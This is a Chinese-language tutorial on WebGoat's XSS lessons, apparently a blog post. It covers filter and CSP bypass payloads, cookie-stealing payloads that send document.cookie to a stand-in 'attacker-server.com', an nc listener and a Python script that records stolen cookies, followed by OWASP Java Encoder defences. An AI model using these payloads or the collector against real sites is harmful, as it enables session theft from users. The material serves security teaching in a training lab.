WebGoat XSS通关实战:从基础注入到Cookie窃取与OWASP防御

1. 项目概述:为什么WebGoat的XSS关卡值得深挖?

如果你正在学习Web安全,尤其是前端安全,那么WebGoat这个靶场你肯定不陌生。它就像一个精心设计的“闯关游戏”,把各种真实世界里的Web漏洞,比如SQL注入、CSRF、XSS等,都做成了一个个需要你动手去攻破的关卡。今天我想重点聊聊里面的XSS部分,特别是那份在网上流传的“通关避坑指南”。很多人照着指南一步步操作,却发现卡在了某个地方,或者明明代码敲对了,就是弹不出那个梦寐以求的alert框。这背后其实不是指南错了,而是WebGoat这个靶场本身,以及我们学习XSS的思路,存在一些需要特别注意的“坑”。

XSS,跨站脚本攻击,听起来高大上,说白了就是想办法让网站执行你输入的恶意JavaScript代码。WebGoat的XSS关卡设计得非常经典,从最基础的反射型XSS,到需要绕过各种过滤的存储型XSS,再到利用DOM操作的DOM型XSS,几乎覆盖了所有常见场景。但它的“坑”也在于此:为了模拟真实环境,它设置了一些过滤和防护机制。如果你只是机械地复制Payload(攻击载荷),而不去理解它为什么能工作、为什么有时会失效,那你永远只能算个“脚本小子”,遇到稍微变化的环境就束手无策。

这份指南的价值,就在于它不仅仅告诉你“输入 <script>alert(1)</script> ”,而是带你一步步分析前端的过滤逻辑,教你如何构造变形的Payload来绕过它,最终实现盗取Cookie这种更具威胁性的实战操作。同时,它还提到了OWASP Encoder这个防御工具,这恰恰是很多纯攻击教程里缺失的一环——只知攻,不知防,你的知识体系是不完整的。接下来,我就结合自己多次通关和教学的经验,把这里面的门道、容易踩的坑,以及背后的原理,给你掰开揉碎了讲清楚。

2. 环境准备与靶场搭建的核心细节

工欲善其事,必先利其器。在开始我们的XSS冒险之前,一个稳定、可复现的环境是第一步。很多人卡在第一步,不是下载错了版本,就是环境起不来。

2.1 WebGoat版本选择与部署要点

WebGoat有好几个主要版本,比如7.x, 8.x,以及较新的WebGoat.NET。对于XSS学习,我强烈推荐使用 WebGoat 8.x 版本。8.x版本用Spring Boot重构了,部署起来最简单,漏洞场景也足够新和全面。你不需要去折腾老旧的Tomcat和Java环境配置。

部署方法就一句话: 确保你的机器上安装了Java 8或Java 11 ,然后去GitHub的OWASP/WebGoat项目Release页面,下载最新的 webgoat-server-8.x.x.jar webgoat-ui-8.x.x.jar 。分别用 java -jar 命令启动这两个Jar包。server端默认跑在8080端口,ui端跑在3000端口。然后浏览器访问 http://localhost:3000/WebGoat 就能看到登录界面了。

注意 :这里第一个大坑就来了。很多教程让你只下载server包,然后访问8080端口,那是老版本(7.x)的做法。8.x版本是前后端分离的,必须同时启动server和ui两个服务,缺一不可。如果你在3000端口看到的是空白页或者错误,请检查ui服务是否成功启动,并确认没有端口冲突。

注册一个账号登录进去,你就能在侧边栏找到“Cross-Site Scripting (XSS)”这一大章节,里面包含了从易到难的一系列课程。

2.2 开发者工具:你的“X光透视仪”

在开始攻击之前,你必须和你浏览器的开发者工具(DevTools)成为好朋友。在Chrome或Edge里按F12打开它,以下几个标签页是你需要重点关注的:

  1. Elements(元素) :查看网页的HTML结构。当你提交了Payload后,一定要来这里看看,你的输入被渲染成了什么样子。是被原样显示了,还是标签被转义了,或者被整个删除了?这是分析过滤规则的第一现场。
  2. Console(控制台) :查看JavaScript错误。如果你的Payload是JS代码,但没执行,控制台很可能会报错,比如“Unexpected token ‘<‘”这种,这往往说明你的 <script> 标签被拦截了,但标签内的内容被当作文本输出了。
  3. Network(网络) :查看HTTP请求和响应。有时候,Payload的过滤发生在服务端,查看服务器返回的响应体,能让你知道服务端到底对你输入的内容做了什么处理。是原样返回,还是做了编码或过滤?
  4. Sources(源代码) :可以查看前端JavaScript文件。对于DOM型XSS,你需要在这里找到处理你输入数据的JS代码,分析其逻辑,才能构造出有效的Payload。

我建议你从一开始就养成习惯:每输入一个测试Payload,就立刻切换到Elements面板,看看它被放到了HTML的哪个位置,形态是否完整。这是后续所有绕过技巧的基础。

3. XSS基础关卡:理解三种类型与注入点

WebGoat的XSS课程通常从介绍三种类型开始。我们快速过一下,重点是理解它们在WebGoat中的表现形式。

3.1 反射型XSS:最简单的“镜子”

反射型XSS也叫非持久型XSS。它的过程就像照镜子:你输入的数据,由服务器“反射”回浏览器的响应页面中,并立即执行。在WebGoat里,通常会有一个搜索框或者表单,你提交后,你的输入会显示在结果页面上。

经典Payload <script>alert(document.domain)</script> 通关思路 :直接在输入框输入这个,提交。如果成功,会弹出一个显示当前网站域名的对话框。这里几乎没过滤,目的是让你感受最简单的XSS效果。

关键观察 :提交后,去Elements面板里搜索“alert”。你会发现你的 <script> 标签被完整地插入到了HTML页面中。这说明服务端没有做任何过滤,直接将你的输入拼接进了HTML响应里。这是最危险但也最容易在真实环境中被WAF(Web应用防火墙)拦截的情况。

3.2 存储型XSS:潜伏的“地雷”

存储型XSS更危险,因为你的恶意脚本会被保存到服务器数据库里(比如评论、留言、昵称)。之后任何用户访问这个页面,都会中招。WebGoat里模拟了一个留言板或用户信息更新的场景。

初级Payload :在昵称或留言框输入 <script>alert(‘XSS’)</script> 并提交。 可能遇到的坑 :你可能会发现提交后没反应。这时你需要:

  1. 检查Elements,看你的脚本是被存储了,还是被过滤了。
  2. 如果是存储了但没执行,可能是插入的位置不对,或者有CSP(内容安全策略)限制。WebGoat的某些关卡会引入简单的过滤,比如将 <script> 替换成空字符串。这时你就需要绕过了。

绕过思路初探 :如果它只是简单替换 <script> 这个字符串,你可以尝试变形,比如 <scr<script>ipt> ,当中间的 <script> 被删除后,剩下的字符正好又组合成了 <script> 。这就是最基本的“绕过字符串删除”的技巧。在WebGoat的存储型XSS关卡里,你会反复用到这类思维。

3.3 DOM型XSS:前端的“逻辑漏洞”

DOM型XSS比较特殊,漏洞的根源不在服务端,而在前端JavaScript代码逻辑上。JavaScript通过DOM API(如 document.write , innerHTML , location.hash 等)操作页面,如果它直接将不可信的数据(比如URL参数)拼接到HTML中,就会产生漏洞。

WebGoat典型场景 :页面上有一个下拉框或输入框,你选择或输入后,页面会通过JavaScript动态更新某部分内容,而不刷新页面。

分析方法

  1. 打开Sources面板,找到处理你输入的JS文件(或者直接在Elements里看内联的 <script> 标签)。
  2. 阅读代码。关键寻找像 document.getElementById(‘xxx’).innerHTML = userInput; 或者 eval(‘some string ‘ + userInput); 这样的危险语句。
  3. 你的Payload需要根据这个具体的上下文来构造。如果数据被 innerHTML 插入,你需要构造完整的HTML标签;如果被 eval 执行,你需要构造合法的JS语句来闭合前面的代码。

一个简单例子 :假设代码是 document.write(“<p>Welcome, “ + username + “!</p>”) ,其中 username 来自URL参数。那么你可以构造Payload为 </p><script>alert(1)</script><p> ,这样就能先闭合前面的 <p> 标签,然后插入自己的脚本。

理解这三种类型的区别和攻击面,是你进行后续复杂绕过的基础。WebGoat的关卡设计也是按照这个难度梯度来的。

4. 手把手绕过过滤:从黑名单到编码混淆

好了,热身结束,现在进入正题:绕过过滤。这是WebGoat XSS关卡最核心、也最让人头疼的部分。过滤机制千变万化,但核心思想无非几种:黑名单、标签属性转义、长度限制、内容安全策略(CSP)。我们一个一个来拆解。

4.1 绕过标签名称过滤(黑名单)

这是最常见的一种。服务器端或前端JS会维护一个“黑名单”,比如 [‘script’, ‘img’, ‘iframe’, ‘onload’, …] ,一旦发现你的输入包含这些关键词,就直接删除或替换掉。

WebGoat实战案例 :在存储型XSS关卡,你输入 <script> 没反应。查看网络响应或Elements,发现 <script> 标签不见了。

  • 方法一:大小写混淆 <ScRiPt>alert(1)</sCrIpT> 。很多简单的黑名单匹配是大小写敏感的。
  • 方法二:嵌套绕过 。上面提过的 <scr<script>ipt> 。或者利用HTML解析的特性: <scr<script/>ipt> ,当 <script/> 被当作自闭合标签删除后,也可能组合成功。
  • 方法三:使用非 <script> 标签 。XSS不一定非要 <script> <img src=x onerror=alert(1)> 是利用图片加载错误事件。 <svg onload=alert(1)> 是利用SVG标签。 <body onload=alert(1)> 如果能在标签内注入,也可以。你需要根据注入点的上下文来选择合适的标签。

实操心得 :遇到过滤,第一反应是去Elements里看“残骸”。你的输入变成了什么?是 <>alert(1)</> ,还是 alert(1) ?这能告诉你过滤规则是删除整个标签,还是只删除标签名。如果是前者,你可能需要尝试无标签的事件处理器(如 onmouseover 属性注入);如果是后者,嵌套绕过可能有效。

4.2 绕过属性与事件处理器过滤

有时候,标签可以用,但属性名(特别是事件处理器)被过滤了。比如 onerror , onload , onclick 等被列入黑名单。

绕过技巧

  • 编码混淆 :JavaScript事件处理器支持HTML实体编码。 onclick 可以写成 &#x6f;&#x6e;&#x63;&#x6c;&#x69;&#x63;&#x6b; (十六进制)或 &#111;&#110;&#99;&#108;&#105;&#99;&#107; (十进制)。当浏览器解析HTML时,会先将这些实体解码成字符,然后再作为属性名识别。注意,这只在属性名位置有效,标签名位置不行。
  • 利用SVG标签的宽松解析 :SVG标签内部允许使用 <script> ,且其事件属性有时检查不严。例如: <svg><script>alert(1)</script></svg>
  • 利用HTML5新标签/属性 :一些不太常见的标签或属性可能不在黑名单里,比如 <details open ontoggle=alert(1)> ,当用户点击展开详情时触发。

4.3 绕过内容安全策略(CSP)

WebGoat在较难的关卡中可能会引入简单的CSP。CSP通过HTTP响应头告诉浏览器,哪些外部资源可以被加载和执行,是防御XSS的利器。

查看CSP :在Network面板,找到页面响应头,查看 Content-Security-Policy 字段。 常见CSP指令

  • script-src ‘self’ :只允许执行同源(相同协议、域名、端口)的脚本。
  • script-src ‘nonce-xxx’ :只有带有正确nonce属性的 <script> 标签才能执行。
  • script-src ‘unsafe-inline’ :允许内联脚本(如 <script>alert(1)</script> ),但这是不安全的,很多CSP会禁止它。

绕过思路(针对简单CSP)

  1. 利用允许的域名 :如果CSP包含 script-src ‘self’ https://cdn.example.com ,你可以尝试:
    • 在能控制内容且同域的页面(比如另一个存在存储型XSS的页面)上传恶意JS文件,然后通过 <script src=”/uploads/evil.js”> 来引用。
    • 如果 cdn.example.com 存在JSONP接口或允许用户上传内容,可以尝试利用。
  2. 利用 unsafe-eval :如果CSP设置了 script-src ‘unsafe-eval’ ,你可以使用 eval() setTimeout() Function() 等动态执行字符串代码。例如,你可以注入 <img src=x onerror=”eval(‘al’+’ert(1)’)”>
  3. 绕过 nonce :如果每个合法 <script> 标签都有一个服务器生成的随机 nonce ,常规注入很难绕过。但有时可以通过其他漏洞(如CSS注入、标记注入)来窃取或预测nonce值,但这在WebGoat的初级关卡中较少见,属于高阶技巧。

在WebGoat中,CSP通常不会设置得非常严格,目的是让你了解这个机制。你的绕过策略往往是寻找CSP策略中的“白名单”漏洞。

5. 实战攻击:盗取Cookie的完整链条

弹出一个alert框只是证明漏洞存在。真正的攻击者想要的是敏感信息,而Cookie是其中最经典的目标。盗取Cookie并发送到攻击者控制的服务器,这是一个完整的攻击链。在WebGoat里,通常会有一个关卡专门让你实现这个。

5.1 构造恶意Payload

我们的目标是:当受害者访问被注入了XSS的页面时,其Cookie能自动发送到我们的服务器。 核心Payload结构如下:

<script>
var img = new Image();
img.src = ‘http://attacker-server.com/steal?cookie=’ + encodeURIComponent(document.cookie);
</script>

或者更简洁的:

<img src=x onerror=”this.src=’http://attacker-server.com/steal?cookie=’+encodeURIComponent(document.cookie)”>

解释一下:

  1. document.cookie :获取当前页面的Cookie(前提是该Cookie没有设置 HttpOnly 属性,设置了 HttpOnly 的Cookie无法通过JS读取)。
  2. encodeURIComponent() :对Cookie值进行URL编码,因为Cookie中可能包含特殊字符(如分号、等号),直接拼接在URL里会破坏结构。
  3. http://attacker-server.com/steal :这是攻击者准备的接收数据的服务器地址。我们需要一个能接收HTTP请求并记录参数的服务。

5.2 搭建简易接收服务器

你不可能在真实互联网上有一个服务器,所以需要在本地模拟。这里有两个最常用的方法:

方法一:使用Netcat(nc)监听端口(Linux/Mac) 在终端执行:

nc -lvnp 9999

这个命令会在本地的9999端口启动一个TCP监听。然后,将Payload中的攻击者地址改为 http://你的本地IP:9999/steal?cookie= 。当受害者(其实就是你自己访问靶场)触发XSS后,你会在nc终端看到完整的HTTP GET请求,其中就包含了Cookie。

方法二:使用Python快速启动HTTP服务器 写一个简单的Python脚本 steal.py

from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class StealHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        query = urlparse(self.path).query
        params = parse_qs(query)
        if ‘cookie’ in params:
            cookie_value = params[‘cookie’][0]
            print(f”[+] Stolen Cookie: {cookie_value}“)
            # 也可以写入文件
            with open(‘stolen_cookies.txt’, ‘a’) as f:
                f.write(cookie_value + ‘\n’)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b’OK’) # 返回一个响应,避免浏览器报错

    def log_message(self, format, *args):
        pass # 屏蔽默认日志

server = HTTPServer((‘0.0.0.0’, 9999), StealHandler)
print(‘[*] Listening on port 9999…’)
server.serve_forever()

运行 python3 steal.py ,它会在9999端口启动一个HTTP服务器,专门接收并打印Cookie。同样,修改Payload指向 http://你的本地IP:9999/steal?cookie=

重要提示 :在WebGoat靶场内部,你的“攻击者服务器”地址需要用WebGoat运行环境的网络可达IP。如果WebGoat运行在Docker或你的本地,直接用 127.0.0.1 localhost 即可。如果是在虚拟机或远程环境,需要填写对应的IP。确保防火墙允许该端口的连接。

5.3 在WebGoat中实施并验证

  1. 将构造好的盗取Cookie的Payload,根据前面学到的绕过过滤技巧进行变形,然后注入到靶场的漏洞点(如留言、昵称)。
  2. 启动你的接收服务器(nc或Python脚本)。
  3. 以受害者身份(可以是另一个浏览器,或者同一个浏览器的新页面)访问存在存储型XSS的页面。如果是反射型XSS,则需要诱骗受害者点击你构造的恶意链接。
  4. 观察你的接收服务器终端,如果成功,你会看到一条包含Cookie的HTTP请求记录。

常见问题

  • 没收到请求 :检查Payload是否成功执行。在注入点页面按F12看Console有没有JS错误。检查接收服务器IP和端口是否正确,网络是否通畅。
  • Cookie为空 :很可能目标Cookie设置了 HttpOnly 属性。 HttpOnly 的Cookie无法通过 document.cookie 读取,这是防御盗取Cookie的有效手段。在这种情况下,XSS攻击者可能需要寻找其他敏感信息,如CSRF Token、页面内的用户数据等。
  • 请求被浏览器跨域策略拦截 :现代浏览器对跨域请求有严格限制。但通过 img.src 发起的GET请求通常不受CORS预检限制,是常用的外带数据方式。如果遇到问题,可以尝试使用 fetch API并设置 mode: ‘no-cors’ ,但这样你无法读取响应内容,只能确认请求发出。

完成这一步,你就实现了一个完整的、从漏洞利用到数据窃取的XSS攻击链。这让你深刻理解XSS的实际危害远不止弹个窗那么简单。

6. 防御实战:正确配置与使用OWASP Java Encoder

知道怎么攻击,才能更好地防御。OWASP Encoder项目提供了一套用于在各种上下文中对不可信数据进行编码的库,是Java Web开发中防御XSS的标配工具。WebGoat课程最后部分通常会引导你使用它。

6.1 为什么需要编码?

XSS的本质是“数据被错误地当成了代码执行”。防御的核心原则就是: 在任何将不可信数据输出到页面的时候,都要根据其所在的上下文进行正确的编码,使其失去代码的可执行性,变成纯文本。

不同的上下文,编码规则不同:

  1. HTML正文上下文 :比如 <div>${userInput}</div> 。需要转义 < , > , & , , 等字符。例如, < 转成 &lt;
  2. HTML属性上下文 :比如 <input value=”${userInput}”> 。除了上述字符,空格和引号也需要特别注意。通常使用HTML属性编码。
  3. JavaScript上下文 :比如 <script>var name = ‘${userInput}’; </script> 。需要转义引号、换行符等,防止跳出字符串。例如, 转成 \x27 \u0027
  4. URL上下文 :比如 <a href=”/profile?name=${userInput}”> 。需要使用URL编码(百分号编码)。

手动处理这些规则极易出错。OWASP Java Encoder库就是帮你自动完成这些工作的。

6.2 在项目中引入OWASP Java Encoder

如果你使用Maven,在 pom.xml 中添加依赖:

<dependency>
    <groupId>org.owasp.encoder</groupId>
    <artifactId>encoder</artifactId>
    <version>1.3.0</version> <!-- 请使用最新版本 -->
</dependency>

如果使用Gradle:

implementation ‘org.owasp.encoder:encoder:1.3.0’

6.3 核心API使用详解

Encoder库提供了多个静态方法,用于不同上下文:

  • Encode.forHtml(String input) :用于将数据放入HTML标签正文中。

    • 场景 <div><%= Encode.forHtml(userContent) %></div>
    • 效果 <script> 会被转义为 &lt;script&gt; ,浏览器会将其显示为文本,而不会解析为标签。
  • Encode.forHtmlAttribute(String input) :用于将数据放入HTML属性值中。

    • 场景 <input value=”<%= Encode.forHtmlAttribute(userInput) %>”>
    • 效果 :如果用户输入是 ” onmouseover=”alert(1) ,编码后会变成 &quot; onmouseover=&quot;alert(1) ,从而破坏了攻击者闭合引号注入新属性的企图。
  • Encode.forJavaScript(String input) :用于将数据放入JavaScript字符串中。

    • 场景 <script>var msg = ‘<%= Encode.forJavaScript(serverMsg) %>’; </script>
    • 效果 :如果 serverMsg ’; alert(1);// ,编码后会变成 \x27; alert(1);// ,使其在JS字符串中保持为普通文本。
  • Encode.forUri(String input) :用于将数据放入URL路径或参数中。

    • 场景 <a href=”/search?q=<%= Encode.forUri(query) %>”>Search</a>
    • 注意 :对于完整的URL,应使用 Encode.forUriComponent 对参数部分进行编码,或者使用标准的URI构建工具。

在JSP中的使用示例

<%@ page import=”org.owasp.encoder.Encode” %>
…
<!– 输出到HTML正文 –>
<p>用户评论:<%= Encode.forHtml(comment) %></p>

<!– 输出到HTML属性 –>
<input type=”text” value=”<%= Encode.forHtmlAttribute(username) %>” />

<!– 输出到JavaScript –>
<script>
var userData = ‘<%= Encode.forJavaScript(jsonData) %>’;
// 注意:将复杂对象放入JS时,更好的做法是在服务端将其序列化为JSON字符串,然后整体进行JS编码。
</script>

6.4 防御的“坑”与最佳实践

  1. 编码时机 输出时编码,而不是输入时存储编码后的数据 。如果在输入时就编码并存入数据库,那么这些数据在其他非HTML上下文(比如导出为CSV、用于API接口)显示时,会带着一堆HTML实体,造成混乱。正确的做法是,在从数据库取出数据,准备渲染到HTML页面时,再进行编码。
  2. 上下文匹配 :一定要选对编码函数。用 forHtml 去编码JavaScript上下文的数据是无效的,反之亦然。这是最常见的防御失效原因。
  3. “安全的”富文本 :对于需要保留部分HTML格式(如加粗、斜体)的用户输入(如博客评论),不能使用上述编码,否则格式标签也会被转义。这时需要使用白名单过滤库,如OWASP Java HTML Sanitizer,它只允许安全的标签和属性通过,并过滤掉所有脚本。
  4. 结合其他措施
    • 设置HttpOnly Cookie :对于会话Cookie,务必设置 HttpOnly 属性,阻止JavaScript访问。
    • 实施内容安全策略(CSP) :这是深度防御的利器,即使编码被意外遗漏,CSP也能作为最后一道防线阻止脚本执行。
    • 使用现代框架 :如React, Vue, Angular等,它们默认提供了基于模板的自动转义机制,在很大程度上避免了XSS。

在WebGoat的防御关卡里,你需要做的通常就是找到存在XSS漏洞的代码行,然后用正确的 Encode.forXXX() 方法包裹输出变量。通过对比修复前后的页面效果,你能直观感受到编码是如何将攻击Payload“无害化”的。

7. 通关全流程疑难问题排查实录

即使有了指南,在实战中你还是会遇到各种奇怪的问题。下面是我总结的WebGoat XSS关卡常见“坑点”及解决方案。

问题现象 可能原因 排查步骤与解决方案
输入Payload后页面无任何反应,也不报错。 1. Payload被服务端彻底过滤/拦截。
2. Payload注入的位置不对,无法触发。
3. 存在CSP阻止了脚本执行。
1. 检查Network :查看提交请求的响应体,确认你的Payload是否被原样返回。如果被清空或修改,说明服务端有过滤。
2. 检查Elements :在渲染后的HTML中搜索你输入的关键词(如 alert ),看它是否存在,以及处于什么标签内。可能被放在了注释、 <textarea> 或属性值里,无法作为脚本执行。
3. 检查Console :查看是否有CSP违规报告。在Console里可能会有类似“拒绝执行内联脚本”的错误。
Alert框弹出了,但盗取Cookie的Payload没收到请求。 1. 接收服务器地址/端口错误。
2. 接收服务器未启动或防火墙阻挡。
3. Payload中拼接Cookie的JS代码有语法错误。
4. Cookie是HttpOnly的。
1. 确认接收服务 :用 curl http://你的IP:端口 或浏览器直接访问,测试服务是否可达。
2. 检查Console :查看是否有JS报错(如 encodeURIComponent is not defined ,注意拼写)。
3. 简化测试 :先将Payload改为 <img src=”http://你的IP:端口/test”> ,看是否能收到简单的GET请求,先排除网络和服务器问题。
4. 检查Cookie :在开发者工具的Application -> Cookies里,查看目标Cookie的HttpOnly列是否被打勾。
存储型XSS提交后,在其他浏览器/标签页访问不触发。 1. WebGoat的会话或数据隔离。某些关卡可能为每个用户会话创建独立的数据空间。
2. 浏览器缓存。
1. 确认攻击场景 :存储型XSS本应影响所有访问者。在WebGoat中,尝试用同一个账号的不同标签页访问,或完全退出再登录访问。
2. 清除缓存 :尝试硬刷新(Ctrl+F5)或清除浏览器数据。
3. 查看数据存储 :有些关卡可能需要你访问特定的“查看留言”或“用户列表”页面才能触发,而不是首页。
DOM型XSS的Payload在URL里,但复制到地址栏后不执行。 1. URL中的特殊字符被浏览器自动编码或截断。
2. 页面JS逻辑需要特定交互(如点击按钮)才会处理URL参数。
1. URL编码 :确保Payload中的特殊字符(如 < , > , & , # , ? )被正确URL编码。可以使用 encodeURIComponent() 对整体Payload进行编码后再放入URL。
2. 分析JS逻辑 :仔细阅读Sources里的代码,看它是监听 onload 事件,还是需要用户触发某个动作(如点击、输入后回车)才会执行那段包含漏洞的代码。
使用OWASP Encoder编码后,页面显示乱码或编码实体(如 &lt; )。 1. 双重编码。
2. 在错误的上下文使用了编码函数。
1. 检查是否重复编码 :确保没有在其他地方(如控制器层、模板引擎全局过滤器)对同一变量再次编码。
2. 确认上下文 :在HTML属性里用了 forHtml ,会导致 被转成 &quot; ,这是正确的。但如果想在JS字符串里显示 < ,应该用 forJavaScript 将其转成 \x3c ,而不是 &lt;

最后的心得 :WebGoat的乐趣和挑战就在于这些“坑”。它模拟了真实世界中不完美的代码和安全机制。通关的关键不是记住所有Payload,而是培养一种“侦探思维”:观察输入与输出的差异,分析过滤逻辑,大胆假设,小心验证。每一次失败后的排查,都是对你安全理解深度的一次提升。当你能够不依赖指南,独立分析并攻克一个XSS关卡时,你就真正掌握了这项技能的核心。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值